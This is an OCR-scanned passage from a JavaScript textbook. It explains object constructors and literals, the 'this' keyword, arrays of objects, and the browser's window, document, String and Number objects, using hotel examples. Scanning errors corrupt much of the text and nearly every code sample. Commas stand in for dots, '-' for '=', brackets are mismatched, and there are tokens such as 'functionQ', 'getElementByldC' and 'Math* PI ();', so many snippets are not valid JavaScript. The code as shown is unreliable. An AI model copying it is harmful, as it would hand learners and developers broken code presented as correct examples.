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You create instances of the object using the constructor function. 

The new keyword followed by a call to the function creates a new object. 
The properties of each object are given as arguments to the function. 


Here, two objects are used to represent two hotels, 
so each object needs a different name. When the 
new keyword calls the constructor function (defined 
on the left-hand page), it creates a new object. 


Each time it is called, the arguments are different 
because they are the values for the properties of 
each hotel. Both objects automatically get the same 
method defined in the constructor function. 


OBJECT 


var quayHotel = 

var parkHotel = 

I 

ASSIGNMENT OPERATOR 


CONSTRUCTOR FUNCTION 


new Hotel ( 'Quay 1 , 40, 25); 
new Hotel ( 1 Park' , 120, 77); 

1 I * 1 1 1 

NEW KEYWORD VALUES USED IN PROPERTIES 

OF THIS OBJECT 


The first object is called quayHotel , Its name is 
h Quay r and it has 40 rooms, 25 of which are booked. 


Even when many objects are created using the 
same constructor function, the methods stay the 
same because they access, update, or perform a 
calculation on the data stored in the properties. 


The second object is called parkHotel, Its name is 
'Park 1 and it has 120 rooms, 77 of which are booked. 


You might use this technique if your script contains 
a very complex object that needs to be available 
but might not be used. The object is defined in the 
function, but it is only created if it is needed. 
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CREATING OBJECTS USING 
CONSTRUCTOR SYNTAX 


On the right, an empty object 
called hotel is created using the 
constructor function. 

Once it has been created, three 
properties and a method are 
then assigned to the object. 

(If the object already had any 
of these properties, this would 
overwrite the values in those 
properties.) 

To access a property of this 
object, you can use dot notation, 
just as you can with any object. 

For example, to get the hotel's 
name you could use: 
hotel .name 

Similarly, to use the method, 
you can use the object name 
followed by the method name: 
hotel .checkAvai! ability () 


c3/j s /ob j ect-const ructor . j s 
var hotel = new Object (); 


JAVASCRIPT 


hotel. name = 'Park'; 
hotel. rooms = 120; 
hotel. booked = 77; 

hotel. checkAvai lability = functionQ { 
return this. rooms - this. booked; 

h 


var el Name = document.getElementById( ' hotel Name* ) ; 
elName.textContent = hotel .name; 


var el Rooms = document.getElementByldC rooms') ; 
el Rooms. textContent = hotel .checkAvai labi 1 i ty ( ) ; 
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CREATE & ACCESS OBJECTS 
CONSTRUCTOR NOTATION 


JAVASCRIPT 


c03/j s/mul tlple-objects. js 


function Hotel (name, rooms, booked) { 
this, name = name; 
this, rooms - rooms; 
this, booked = booked; 
this.checkAvailabi 1 i ty = function() { 
return this .rooms - this. booked; 

Is 

} 

var quayHotel = new Hotel ( 'Quay ' , 40, 25); 
var parkHotel = new Hotel ( 1 Park* 5 120, 77); 


To get a better idea of why you 
might want to create multiple 
objects on the same page, here 
is an example that shows room 
availability in two hotels. 

First, a constructor function 
defines a template for the hotels. 
Next, two different instances 
of this type of hotel object are 
created. The first represents 
a hotel called Quay and the 
second a hotel called Park. 


var detail si = quayHotel .name + 3 rooms: 1 ; 

detailsl += quayHotel .checkAvai 1 abi 1 i ty() ; 
var el Hotel 1 = document .getEl ementBy Id ( 1 hotel 1 1 ) ; 
elHotel l.textContent = detailsl; 

var detail s2 = parkHotel .name + 1 rooms: 

detail s2 += parkHotel .checkAvai labi 1 1 ty ( } ; 
var el Hotel 2 = document .getEl ementBy!d( ' hotel2' ) ; 
el Hotel 2.textContent = detail $2; 


RESULT 



Having created instances of 
these objects, you can then 
access their properties and 
methods using the same dot 
notation that you use with all 
other objects. 

In this example, data from both 
objects is accessed and written 
into the page. (The HTML 
for this example changes to 
accommodate the extra hotel) 

For each hotel, a variable is 
created to hold the hotel name, 
followed by space, and the word 
rooms. 

The line after it adds to that 
variable with the number of 
available rooms in that hotel 

(The += operator is used to add 
content to an existing variable.) 
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ADDING AND REMOVING 
PROPERTIES 


Once you have created an object 
(using literal or constructor 
notation), you can add new 
properties to it. 

You do this using the dot 
notation that you saw for adding 
properties to objects on pl03. 

in this example, you can see that 
an instance of the hotel object 
is created using an object literal. 

Immediately after this, the 
hotel object is given two 
extra properties that show the 
facilities (whether or not it has 
a gym and/or a pool). These 
properties are given values that 
are Booleans (true or false). 

Having added these properties 
to the object, you can access 
them just like any of the objects 
other properties. Here, they 
update the value of the cl ass 
attribute on their respective 
elements to show either a check 
mark or a cross mark. 

To delete a property, you use 
the keyword del ete, and then 
use dot notation to identify the 
property or method you want to 
remove from the object. 

In this case, the booked property 
is removed from the object. 


c3/ j s/addi ng-and- remov f ng-propert i es J $ 

var hotel = { 
name : 'Park 1 , 
rooms : 120 * 
booked : 77, 

h 


JAVASCRIPT 


hotel .gym = true; 
hotel .pool = false; 
delete hotel .booked; 

var el Name = document. getElementById( ‘hotel Name ') ; 
elName.textContent = hotel. name; 

var el Pool = document. getElementById{ 'pool 1 ) ; 
el Pool .cl assName ■ 'Pool; 1 + hotel. pool; 

var elGym = document .getEl ementById{ 'gym' ) ; 
el Gym. cl assName = 'Gym: 1 + hotel. gym; 



If an object is created using a constructor function, this syntax only adds 
or removes the properties from the one instance of the object (not all 
objects created with that function). 
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RECAP: WAYS TO 
CREATE OBJECTS 


CREATE THE OBJECT, THEN ADD PROPERTIES & METHODS 


In both of these examples, the object is created on 
the first line of the code sample. The properties and 
methods are then added to it afterwards. 

LITERAL NOTATION 

var hotel = [} 

hotel .name = ’Quay 1 ; 
hotel -rooms = 40; 
hotel. booked = 25; 

hotel . checkAvai labi 1 ity « function{) { 
return this. rooms - this. booked; 

k 


Once you have created an object, the syntax for 
adding or removing any properties and methods 
from that object is the same. 

OBJECT CONSTRUCTOR NOTATION 

var hotel = new Object (}; 

hotel. name = 'Quay 1 ; 
hotel. rooms = 40; 
hotel. booked = 25; 

hotel .checkAvai lability * functionf) { 
return this, rooms - this. booked; 

k 


CREATING AN OBJECT WITH PROPERTIES & METHODS 


LITERAL NOTATION 

A colon separates the key/value pairs. 

There is a comma between each key/value pair. 

var hotel = { 
name: 'Quay 1 , 
rooms: 40, 
booked: 25, 

checkAvai labil ity: funetionO { 
return this. rooms - this. booked; 

} 

1 ; 


OBJECT CONSTRUCTOR NOTATION 

The function can be used to create multiple objects. 
The this keyword is used instead of the object name. 

function Hotel (name, rooms, booked) { 
this. name = name; 
this. rooms = rooms; 
this. booked = booked; 
this, checkAvai labil ity = functionQ ( 
return this. rooms - this, booked; 

}; 

1 

var quayBotel = new Hotel ( ‘Quay 1 ( 40, 25); 
var parkHotel - new Hotel ( 'Park* , 120, 77); 
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THIS (IT IS A KEYWORD) 


The keyword this is commonly used inside functions and objects. 
Where the function is declared alters what thi s means. It always refers 
to one object, usually the object in which the function operates. 


A FUNCTION IN GLOBAL SCOPE 

When a function is created at the top level of a script 
(that is, not inside another object or function), then it 

is in the global scope or global context 

The default object in this context is the wi ndow 
object, so when this is used inside a function in the 
global context it refers to the wi ndow object. 

Below, thi s is being used to return properties of the 
wi ndow object (you meet these properties on p124). 

function windowSizeO { 
var width = this.innerWidth; 
var height » this.innerBeight; 
return [height, width]; 

1 

Under the hood, the thi s keyword is a reference to 
the object that the function is created inside. 


GLOBAL VARIABLES 

All global variables also become properties of the 
wi ndow object, so when a function is in the global 
context, you can access global variables using the 
wi ndow object, as well as its other properties. 

Here, the showWi dth () function is in global scope, 
and thi s .wi dth refers to the wi dth variable: 

var width = 600; < 

var shape * {width: 3001; 

var showWidth-= function{) { 
document .write {this, width) ; 

1: til 

showWi dth{) ; 

Here, the function would write a value of 600 into the 
page (using the document object's write () method). 
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As you can see, the value of thi s changes in 
different situations. But don't worry if you do not 
follow these two pages on your first read through. 
As you write more functions and objects, these 
concepts will become more familiar, and if thi s is 
not returning the value you expected, these pages 
will help you work out why. 


A METHOD OF AN OBJECT 

When a function is defined inside an object, it 
becomes a method. In a method, thi s refers to the 
containing object. 

In the example below, the getArea ( ) method 
appears inside the shape object, so this refers to 
the shape object it is contained in: 

var shape = { 

width: 600, < 

height: 400, < -i 

getArea: functionQ { 
return this, width * this, height; 

> t 

I*. 

Because the thi s keyword here refers to the shape 
object, it would be the same as writing: 

return shape. width * shape, height; 

If you were creating several objects using an 
object constructor (and each shape had different 
dimensions), thi s would refer to the Individual 
instance of the new object you are creating. 

When you called getArea { ) , it would calculate the 
dimensions of that particular instance of the object. 


Another scenario to mention is when one function 
is nested inside another function. It is only done in 
more complicated scripts, but the value of thi s can 
vary (depending on which browser you are using). 
You could work around this by storing the value of 
thi s in a variable in the first function and using the 
variable name in child functions instead of this. 


FUNCTION EXPRESSION AS METHOD 

If a named function has been defined in global 
scope, and it is then used as a method of an object, 
thi s refers to the object it is contained within. 

The next example uses the same showWidth (} 
function expression as the one on the left-hand 
page, but it is assigned as a method of an object. 

var width - 600; £ " 

var shape = [width: 300}; 


var showWidth = function(} { 
document, write(thi s ,wi dth) ; 

»: T 

shape. getWi dth = showWidth; 
shape. getWi dth () ; 

The last but one line indicates that the showWidth() 
function is used as a method of the shape object. 

The method is given a different name: getWi dth ( ) . 

When the getWi dth ( ) method is called, even though 
it uses the showWidth() function, this now refers to 
the shape object, not the global context (and 
this, width refers to the width property of the 
shape object). So it writes a value of 300 to the page. 
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RECAP: STORING DATA 

In JavaScript, data is represented using name/value pairs. 

To organize your data, you can use an array or object to group a set of 
related values. In arrays and objects the name is also known as a key. 


VARIABLES 

ARRAYS 

A variable has just one key (the variable name) 
and one value. 

Arrays can store multiple pieces of information. 
Each piece of information is separated by a comma. 
The order of the values is important because items 
in an array are assigned a number (called an index). 

Variable names are separated from their value by an 
equals sign (the assignment operator): 

Values in an array are put in square brackets, 
separated by commas: 

var hotel » ’Quay'; 

var hotels a [ 

'Quay 1 , 

^Park 1 , 

'Beach' * 

'Bloomsbury 1 

] 

You can think of each item in the array as another 
key/value pair, the key is the index number, and the 
values are shown in the comma-separated list. 

To retrieve the value of a variable, use its name: 

To retrieve an item, use Its index number: 

// This retrieves Quay: 
hotel i 

// This retrieves Park: 
hotel s[l]; 

When a variable has been declared but has not yet 
been assigned a value r it is undefined. 

If a key is a number, to retrieve the value you must 
place the number in square brackets. 

If the var keyword is not used, the variable is 
declared in global scope (you should always use it). 

Generally speaking, arrays are the only times when 
the key would be a number 
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Note: This recap specifically relate to storing data. 
You cannot store rules to perform a task in an array. 
They can only be stored in a function or method. 


If you want to access items via a property name or key use an object 
(but note that each key in the object must be unique), 
if the order of the items is important, use an array. 


INDIVIDUAL OBJECTS 

Objects store sets of name/value pairs. They can be 
properties (variables) or methods (functions). 

The order of them is not important (unlike the array). 
You access each piece of data by its key. 

In object literal notation, properties and methods of 
an object are given In curly braces: 

var hotel = { 
name: ‘Quay 1 * 
rooms: 40 

h 

Objects created with literal notation are good: 

* When you are storing / transmitting data 
between applications 

• For global or configuration objects that set up 
information for the page 

To access the properties or methods of the object, 
use dot notation: 

// This retrieves Quay: 
hotel .name; 


MULTIPLE OBJECTS 

When you need to create multiple objects within the 
same page, you should use an object constructor to 
provide a template for the objects. 

function Hotel (name, rooms) ( 
this* name = name; 
this, rooms = rooms; 

} 

You then create instances of the object using the new 
keyword and then a call to the constructor function. 

var hotel I = new Hotel (' Quay 1 s 40}; 
var hotel 2 = new Hotel ( 1 Park' * 120); 

Objects created with constructors are good when: 

• You have lots of objects used with similar 
functionality (e.g„ multiple slideshows / media 
players / game characters) within a page 

• A complex object might not be used in code 

To access the properties or methods of the object 
use dot notation: 

// This retrieves Park: 
hote!2,name; 


FUNCTIONS, METHODS & OBJECTS (117 


ARRAYS ARE OBJECTS 


Arrays are actually a special type of object. They hold a related set of 
key/value pairs (like all objects), but the key for each value is its index 
number. 


As you saw (on p72), arrays have a length property teJIing you how many items are in the array. 
In Chapter 12, you will see that arrays also have several other helpful methods. 


AN OBJECT 


PROPERTY: VALUE: 


rooml 

420 

room2 

460 

room3 

230 

room4 

620 


AN ARRAY 


Here, hotel room costs are stored in an object. 
The example covers four rooms, and the cost for 
each room is a property of the object: 

costs s { 
roonil: 420, 
room2: 460, 
rooni3: 230, 
roorn^t 620 

}; 


INDEX NUMBER: VALUE: 


0 

420 

1 

460 

2 

230 

3 

620 


Here is the the same data in an array. Instead of 
property names, it has index numbers: 

costs * [420, 460, 230 s 620]; 
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ARRAYS OF OBJECTS 
& OBJECTS IN ARRAYS 


You can combine arrays and objects to create complex data structures: 
Arrays can store a series of objects (and remember their order). 
Objects can also hold arrays (as values of their properties). 


In an object, the order in which the properties appear is not important. In an array, the index numbers dictate 
the order of the properties. You will see more examples of these data structures in Chapter 12. 


ARRAYS IN AN OBJECT 


The property of any object can hold an array. 

On the left, each item on a hotel bill is stored 
separately in an array. To access the first charge for 
rooml you would use: 

costs . rooml . i terns [0] ; 


OBJECTS IN AN ARRAY 


The value of any element in an array can be an 
object (written using the object literal syntax). 
Here, to access the phone charge for room three, 
you would use: 

costs [2] .phone; 


PROPERTY: VALUE: 


rooml 

item$[420, 40; 10] 

room2 

- 

items[460, 20, 20) 

roomS 

k- 

items[230, 0, 0] 

room 4 

items[620, 150, 60] 


INDEX NUMBER: VALUE: 


0 

{accom: 420, food: 40, phone: 10} 

1 

(accom: 460, food: 20, phone: 20} 

2 

{accom: 230, food: 0, phone: 0} 

3 

k 

I {accom: 620, food: 150, phone: 60} 

! , 
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WHAT ARE BUILT-IN 
OBJECTS? 


1 



Browsers come with a set of built-in objects that represent things like the 
browser window and the current web page shown in that window. These 
built-in objects act like a toolkit for creating interactive web pages. 


The objects you create will usually be specifically 
written to suit your needs. They model the data 
used within, or contain functionality needed by r 
your script. Whereas, the built-in objects contain 
functionality commonly needed by many scripts. 

As soon as a web page has loaded into the browser, 
these objects are available to use in your scripts. 


These built-in objects help you get a wide range 
of information such as the width of the browser 
window, the content of the main heading in the page, 
or the length of text a user entered into a form field. 

You access their properties or methods using dot 
notation, just like you would access the properties or 
methods of an object you had written yourself. 
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The first thing you need to do is get to know what tools are available. 
You can imagine that your new toolkit has three compartments: 



DOCUMENT OBJECT 
MODEL 


The Document Object Model uses 
objects to create a representation of 
the current page. It creates a new 
object for each element (and each 
v individual section of text) , 
\ within the page. / 


BROWSER OBJECT 
MODEL 

The Browser Object Model contains 
objects that represent the current 
browser window or tab. It contains 
objects that model things like 
\ browser history and the / 
\ device's screen* f 


GLOBAL JAVASCRIPT 
OBJECTS 


The global JavaScript objects 
represent things that the JavaScript 
language needs to create a model 
of. For example, there is an 
\ object that deals only with / 
\ dates and times* y 


WHAT DOES THIS SECTION COVER? 

You have already seen how to access the properties 
and methods of an object, so the purpose of this 
section is to let you know: 

• What built-in objects are available to you 

• What their main properties and methods do 

There will be a few examples in the remaining part 
of this chapter to ensure you know how to use them. 
Then, throughout the rest of the entire book, you will 
see many practical examples of how they are used in 
a range of situations. 


WHAT IS AN OBJECT MODEL? 

You have seen that an object can be used to create a 
model of something from the real world using data. 

An object model Is a group of objects, each of 
which represent related things from the real world. 
Together they form a model of something larger. 

Two pages back, it was noted that an array can hold 
a set of objects, or that the property of an object 
could be an array. It is also possible for the property 
of an object to be another object. When an object 
is nested inside another object, you may hear it 
referred to as a child object. 
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THREE GROUPS OF 
BUILT-IN OBJECTS 


USING BUILT-IN OBJECTS: 

The three sets of built-in objects each offer a 
different range of tools that help you write scripts 
for web pages. 

Chapter 5 is dedicated to the Document Object 
Model because it is needed to access and update 
the contents of a web page. 

The other two sets of objects will be introduced 
in this chapter, and then you will see them used 
throughout the rest of the book. 


This book will teach you how to use these built-in 
objects and what type of information you can get 
from each one. You will also see examples that use 
many of their most popular features. 

We do not have space to exhaustively document 
every object in each of these models in this book, 
so you can find a list of links to online resources at: 
http://javascriptbook.coin/resources 


BROWSER OBJECT MODEL 

The Browser Object Model creates a model of the 
browser tab or window. 

The topmost object is the window object, which 
represents current browser window or tab. Its child 
objects represent other browser features. 



EXAMPLES 

The window object's print 0 method will cause the 
browser's print dialog box to be shown: 
window, print() ; 

The screen objects wi dth property will let you find 
the width of the device's screen in pixels: 
wi ndow * screen .width; 

You meet the window object on p!24 along with 
some properties of the screen and hi story objects. 
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DOCUMENT OBJECT MODEL 

The Document Object Model (DOM) creates a 
model of the current web page. 

The topmost object is the document object, which 
represents the page as a whole. Its child objects 
represent other items on the page. 


GLOBAL JAVASCRIPT OBJECTS 

The global objects do not form a single model. 

They are a group of individual objects that relate to 
different parts of the JavaScript language. 

The names of the global objects usually start with a 
capital letter, e.g„ the String and Date objects. 


document 

<htm1> 



attribute 


These objects represent basic data types: 


STRING 

NUMBER 

BOOLEAN 


FOR WORKING WITH STRING 
VALUES 

FOR WORKING WITH NUMERIC 
VALUES 

FOR WORKING WITH BOOLEAN 
VALUES 


These objects help deal with real-world concepts: 


DATE 

MATH 

REGEX 


TO REPRESENT AND HANDLE 
DATES 

FOR WORKING WITH NUMBERS 
AND CALCULATIONS 

FOR MATCHING PATTERNS 
WITHIN STRINGS OF TEXT 


EXAMPLES 

The document object's get El ementByld () method 
gets an element by the value of its id attribute: 
document . getEl ementByld ( 1 one 1 ) ; 

The document object's 1 astModi f i ed property will 
tell you the date that the page was last updated: 
document . 1 astModi f 1 ed ; 

You meet the document object on p126. 

Chapter 5 goes into this object model in depth. 


EXAMPLES 

The String object's toUpperCasef) method makes 
all letters in the following variable uppercase: 
hotel .toUpperCase(); 

The Math object's PI property will return the 
value of pi: 

Math* PI (); 

You meet the String, Number, Date, and Math 
objects later in this chapter. 
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THE BROWSER 
OBJECT MODEL: 

THE WINDOW OBJECT 


The wi ndow object represents the current 
browser window or tab. It is the topmost object 
in the Browser Object Mode!, and it contains 
other objects that tell you about the browser. 


Here are a selection of the 
window object's properties and 
methods. You can also see 
some properties of the screen 
and hi story objects (which are 
children of the wi ndow object). 


PROPERTY 

DESCRIPTION 

wi ndow.innerHeight 

Height of window (excluding browser chrome/user interface) (in pixels) 

window. innerWidth 

Width of window (excluding browser chrome/user interface) (in pixels) 

window.pageXOffset 

Distance document has been scrolled horizontally (in pixels) 

window. pageYOffset 

Distance document has been scrolled vertically (in pixels) 

window.screenX 

X-coordinate of pointer, relative to top left corner of screen (in pixels) 

window. screenY 

Y-ooordinate of pointer, relative to top left corner of screen (in pixels) 

window. location 

Current URL of window object (or local file path) 

window. document 

Reference to document object, which is used to represent the current page 
contained in window 

window. history 

Reference to history object for browser window or tab, which contains details 
of the pages that have been viewed in that window or tab 

window. hi story. 1 ength 

Number of items in hi story object for browser window or tab 

window. screen 

Reference to screen object 

window. screen. width 

Accesses screen object and finds value of its wi dth property (in pixels) 

window. screen. height 

Accesses screen object and finds value of its height property (in pixels) 

METHOD 

DESCRIPTION 

window.alert{) 

Creates dialog box with message (user must click OK button to close it) 

window. open() 

Opens new browser window with URL specified as parameter (if browser has 
pop-up blocking software installed, this method may not work) 

window. print() 

Tells browser that user wants to print contents of current page (acts like user has 
clicked a print option in the browser's user interface) 
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USING THE BROWSER 
OBJECT MODEL 


Here, data about the browser is 
collected from the wi ndow object 
and its children, stored in the msg 
variable, and shown in the page. 
The +- operator adds data onto 
the end of the msg variable, 

1. Two of the wi ndow object’s 
properties, innerWi dth and 
innerHeight, show width and 
height of the browser window. 


JAVASCRIPT 


2. Child objects are stored as 
properties of their parent object. 
So dot notation is used to access 
them, just like you would access 
any other property of that object. 

in turn, to access the properties 
of the child object, another dot is 
used between the child object's 
name and its properties, 
e.g., window .hi story . 1 ength 


3. The element whose i d 
attribute has a value of i nfo is 
selected, and the message that 
has been built up to this point is 
written into the page. 

See p228 for notes on using 
i nnerHTML because it can be 
a security risk if it is not used 
correctly. 


c03/js/wi ntfow-object .js 


"var msg = ‘<h2>browser window</h2><p>width: f + wi ndow.innerWidth + 
msg +- , <p>height: 1 + window, innerHeight + ‘</p>'; 

“msg += , <h2>hi story</h2><p>1 terns: [ + window, hi story length + ,< /p >l 
msg += '<h2>screen</h2><p>width: 1 + window. screen. width + '</p>* ; 
_msg += ’<p>heiglit: 1 + wi ndow. screen. height + 
var el = document .get ElementById( ' i nfo 1 ) ; 

' [el . i nnerHTML = msg; 

@ alert ( 1 Current page: * + window. location); 


G> 

d> 

CD~ 





4. The window object's alert() 
method is used to create a dialog 
box shown on top of the page. 

It is known as an alert box. 
Although this is a method of the 
wi ndow object, you may see it 
used on Its own (as shown here) 
because the wi ndow object is 
treated as the default object if 
none is specified. (Historically, 
the al ert () method was used to 
display warnings to users. These 
days there are better ways to 
provide feedback.) 
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THE DOCUMENT 
OBJECT MODEL: 

THE DOCUMENT OBJECT 

The topmost object in the Document Object Model Cor DOM) is the 
document object. It represents the web page loaded into the current 
browser window or tab. You meet its child objects in Chapter 5. 


Here are some properties of the 
document object, which tell you 
about the current page. 

As you will see in Chapter 5, the 

DOM also creates an object for 
each element on the page, 

PROPERTY 

DESCRIPTION 

document. ti tie 

Title of current document 

document . 1 astModi tied 

Date on which document was fast modified 

document. URL 

Returns string containing URL of current document 

document. domain 

Returns domain of current document 

The DOM is vital to accessing 
and amending the contents of 
the current web page, 

The following are a few of the 
methods that select content or 
update the content of a page. 

METHOD 

DESCRIPTION 

document. writeO 

Writes text to document (see restrictions on p226) 

document.getElementByldO 

Returns element, if there is an element with the value of the i d attribute 
that matches (full description see p!95) 

document. querySelectorAl 1 {) 

Returns list of elements that match a CSS selector, which is specified as 
a parameter (see p202) 

document . createE 1 ement ( ) 

Creates new element (see p222) 

document, createText Node 0 

Creates new text node (see p222) 
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USING THE DOCUMENT 

OBJECT 


This example gets information 
about the page, and then adds 
that information to the footer 

1, The details about the page are 
collected from properties of the 
document object. 


These details are stored inside 
a variable called msg, along 
with HTML markup to display 
the information. Again, the += 
operator adds the new value 
onto the existing content of the 
msg variable. 


2. You have seen the document 
object's get Element By Id () 
method in several examples so 
fan It selects an element from 
the page using the value of its 
i d attribute. You will see this 
method In more depth on p!95. 


JAVASCRIPT 


c03/j s /document-ob j ect , j s 


var 
CD- msg 
.msg 


msg = '<p><b>page title: </b>' + document. title + 1 <br 
+= '<b>page address: </b>" + document. URL + ‘<br />'; 
+= '<b>last modified: </b > 1 + document. lastModified + 


/>'; 

</ P > 'i 



var el = document. getElementById( 'footer') ; 
el . i nnerHTML - msg; 


RESULT 



page title: Travel Worthy 

page address: http;//j a va scri ptboo k .com/ tode/co3/d ocu rn e nt^o bject. ht m I 
last modified: 03/10/2014 14:46:23 


See p228 for notes on using 
i nnerHTML because it can be 
a security risk if it is not used 
correctly. 


The URL will look very different 
if you run this page locally rather 
than on a web server. It will likely 
begin with file:/// rather than 
with http://. 
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GLOBAL OBJECTS: 

STRING OBJECT 

Whenever you have a value that is a string, you can use the properties 
and methods of the Stri ng object on that value. This example stores the 
phrase "Home sweet home " in a variable. 

var saying = 'Home sweet home 


These properties and methods 

PROPERTY 

DESCRIPTION 

are often used to work with text 
stored In variables or objects. 

length 

Returns number of characters in the string 
in most cases (see note bottom -left) 

On the right-hand page, note 
how the variable name (sayi ng) 

METHOD 

DESCRIPTION 

is followed by a dot, then the 
property or method that is being 

tollpperCase() 

Changes string to uppercase characters 

demonstrated (like the name of 
an object ts followed by a dot 
and its properties or methods). 

to LowerCase () 

Changes string to lowercase characters 

charAtt) 

Takes an index number as a parameter, and returns 
the character found at that position 

This is why the Stri ng object is 

known as both a global object, 
because it works anywhere 
within your script, and a wrapper 
object because it acts like a 

indexOf () 

Returns index number of the first time a character or 
set of characters is found within the string 

lastlndex0f{) 

Returns index number of the last time a character or 
set of characters is found within the string 

wrapper around any value that 
is a string - you can use this 
object's properties and methods 
on any value that is a string. 

substringO 

Returns characters found between two index 
numbers where the character for the first index 
number is included and the character for the last 
index number is not included 

The length property counts 
the number of "code units" in a 
string. In the majority of cases. 

split() 

When a character is specified, it splits the string 
each time it is found, then stores each individual part 
in an array 

one character uses one code 
unit, and most programmers use 
it like this. But some of the rarely 
used characters take up two 
code units. 

trim() 

Removes whitespace from start and end of string 

replace() 

Like find and replace, it fakes one value that should 
be found, and another to replace it (by default, it only 


replaces the first match it finds) 
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Each character in a string is automatically given a number, called an index 
number. Index numbers always start at zero and not one (just like for 
items in an array). 


Home 

s 

w e 

e t 

home 

O O O O 

o © 

© © 

© © © 

Q 0 © o © 

EXAMPLE 




RESULT 

saying. length; 

Home 

sweet 

home 

16 

EXAMPLE 




RESULT 

saying. toUpperCase(); 

Home 

sweet 

home 

'HOME SWEET HOME ' 

saying.toLowerCaseQ i 

Home 

sweet 

home 

’home sweet home * 

saying.charAt(I2) ; 

Home 

sweet 

home 

‘o 1 

say i ng . i ndexOf ( ’ ee 1 ) ; 

Home 

sweet 

home 

7 

saying. 1 astlndexQf ( J e' ) ; 

Home 

sweet 

home 

14 

saying. substring^, 14) ; 

Home 

sweet 

home 

' et hom' 

saying. split( l '); 

Home 

sweet 

home 

['Home 1 , 'sweet', 'home', ’ '] 

sayi ng.trimQ ; 

Home 

sweet 

home 

’Home sweet home’ 

saying. replace{ 'me* , 'w'); 

Home 

sweet 

home 

’How sweet home 1 


FUNCTIONS, METHODS S OBJECTS (129 


WORKING WITH STRINGS 


This example demonstrates the 
1 ength property and many of the 
stri ng object's methods shown 
on the previous page. 

1* This example starts by storing 
the phrase "Home sweet home " 
in a variable called saying. 


JAVASCRIPT 


2. The next line tells you how 
many characters are in the string 
using the 1 ength property of the 
Stri ng object and stores the 
result in a variable called msg, 

3. This is followed by examples 
showing several of the Stri ng 
object’s methods. 


The name of the variable 
(s ay i ng) is followed by a dot, 
then the property or method that 
is being demonstrated On the 
same way that the other objects 
in this chapter used the dot 
notation to indicate a property or 
method of an object), 

c03/j s /stri ng-object * j s 


® var saying = 'Home sweet home ' ; 

© var msg = '^Hength-c/hZ^^P* 1 + say i ng. 1 ength + '</p>'; 

msg += , <h2>uppercase</h2><p> 1 + saying. totlpperCaseQ + '</p> 1 ; 

1 <h2>l owe rc a se</h2><p> 1 + saying. toLowerCaseQ + , </p>‘; 
'<h2>character index: 12</h2><p>' + saying.charAt{12) + '</p>'; 
'<h2>first ee</h2><p>' + sayi ng JndexOf { ’ee 1 ) + *</p>'; 

'<h2>l ast e</h2><p>' + saying .lastlndexOffe 1 ) + '</p>'; 
'<h2>character index: 8-14</h2><p>' + saying, substring^, 14) + 
'<h2>replaee</h2><p>* + saying, replace ('me 1 * V) + '</p> 1 ; 


CD- 


msg += 
msg += 
msg += 
msg += 
msg += 
Lmsg += 


e /P 5 



var el - document. getElementById( 1 info 1 ) ; 
el .innerHTML = msg; 



4. The final two lines select the 
element with an id attribute 
whose value is info and then 
add the value of the msg variable 
inside that element. 

(Remember, security issues with 
using the i nnerHTML property 
are discussed on p228.) 
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DATA TYPES REVISITED 


In JavaScript there are six data types: 

Five of them are described as simple (or primitive) data types. 
The sixth is the object (and is referred to as a complex data type). 


SIMPLE OR PRIMITIVE DATA TYPES 

JavaScript has five simple (or primitive) data types; 

1. String 
2* Number 

3, Boolean 

4, Undefined (a variable that has been declared, but 
no value has been assigned to it yet) 

5, Null (a variable with no value - it may have had 
one at some point, but no longer has a value) 

As you have seen, both the web browser and the 
current document can be modeled using objects 
(and objects can have methods and properties). 

But it can be confusing to discover that a simple 
value (like a string, a number, or a Boolean) can have 
methods and properties. Under the hood, JavaScript 
treats every variable as an object in its own right. 

String: If a variable, or the property of an object, 
contains a string, you can use the properties and 
methods of the Stri ng object on it. 

Number: If a variable, or property of an object, 
stores a number, you can use the properties and 
methods of the Number object on it (see next page). 

Boolean: There is a Boolean object. It is rarely used. 

(Undefined and null values do not have objects.) 


COMPLEX DATA TYPE 

JavaScript also defines a complex data type: 

6. Object 

Under the hood, arrays and functions are considered 
types of objects, 

ARRAYS ARE OBJECTS 
As you saw on pi 18, an array is a set of key/value 
pairs (just like any other object). But you do not 
specify the name in the key/value pair of an array - it 
is an index number. 

Like other objects, arrays have properties and 
methods. On p72 you saw that arrays have a 
property called length, which tells you how many 
items are in that array. There is also a set of methods 
you can use with any array to add items to it, remove 
items from it, or reorder its contents. You will meet 
those methods in Chapter 12. 

FUNCTIONS ARE OBJECTS 
Technically, functions are also objects. But they 
have an additional feature: they are callable, which 
means you can tell the interpreter when you want to 
execute the statements that it contains. 
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GLOBAL OBJECTS: 
NUMBER OBJECT 


Whenever you have a value that is a number, 
you can use the methods and properties of the 
Number object on it. 


These methods are helpful 
when dealing with a range of 
applications from financial 
calculations to animations. 


Many calculations involving 
currency (such as tax rates) wifi 
need to be rounded to a specific 
number of decimal places. 


Or, in an animation, you might 
want to specify that certain 
elements should be evenly 
spaced out across the page. 


METHOD 

isNaffO 
toFixedQ 
toPrecisionQ 
toExponenttal {) 


DESCRIPTION 


Checks if the value is not a number 


Rounds to specified number of decimal places (returns a string) 
Rounds to total number of places (returns a string) 

Returns a string representing the number in exponential notation 


COMMONLY USED TERMS: 

• An integer Is a whofe number (not a fraction). 

• A real number is a number that can contain a fractional part. 

• A floating point number is a real number that uses decimals to represent a fraction. The term floating point 
refers to the decimal point. 

• Scientific notation is a way of writing numbers that are too big or too small to be conveniently written in 
decimal form. For example: 3 r 7SO,OOO r O00 can be represented as 3.75 * 10* or 375e+12. 
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WORKING WITH 
DECIMAL NUMBERS 


As with the Stri r>g object, the 
properties and methods of the 
Number object can be used with 
with any value that is a number 


1. In this example, a number 
is stored in a variable called 
ori gi nal Number, and it is then 
rounded up or down using two 
different techniques. 


In both cases, you need to 
indicate how many digits 
you want to round to. This is 
provided as a parameter in the 
parentheses for that method. 


JAVASCRIPT 


c03/js/number-object . j s 


© var originalNumber = 10.23456; 

jvar msg = l <h2> origina1 number</h2><p>' + originalNumber + '</p>‘; 

© msg += ‘<h2>£efci-*ed{)</ti2><p>' + origi nal Number. toFixed{3) ; + l </p> 1 ; 

© msg += ‘<h2> to[ Yocioio Tt()</h2><p>‘ + originalNumber. toPrecision{3) + '</p>'; 
var el = document. getElementByld ('info') ; 
el .innerHTML = msg; 3 


RESULT 



original number 

10 . 2345 ^ 

3 decimal places 

lO 235 

3 digits 

10 2 


2. origi nal Number, toFIxed (3) 
will round the number stored 
in the variable origi nal Number 
to three decimal places. (The 
number of decimal places is 
specified in the parentheses,) 

It wit) return the number as a 
string. It returns a string because 
fractions cannot always be 
accurately represented using 
floating point numbers. 

2. toPrecision(3) uses the 
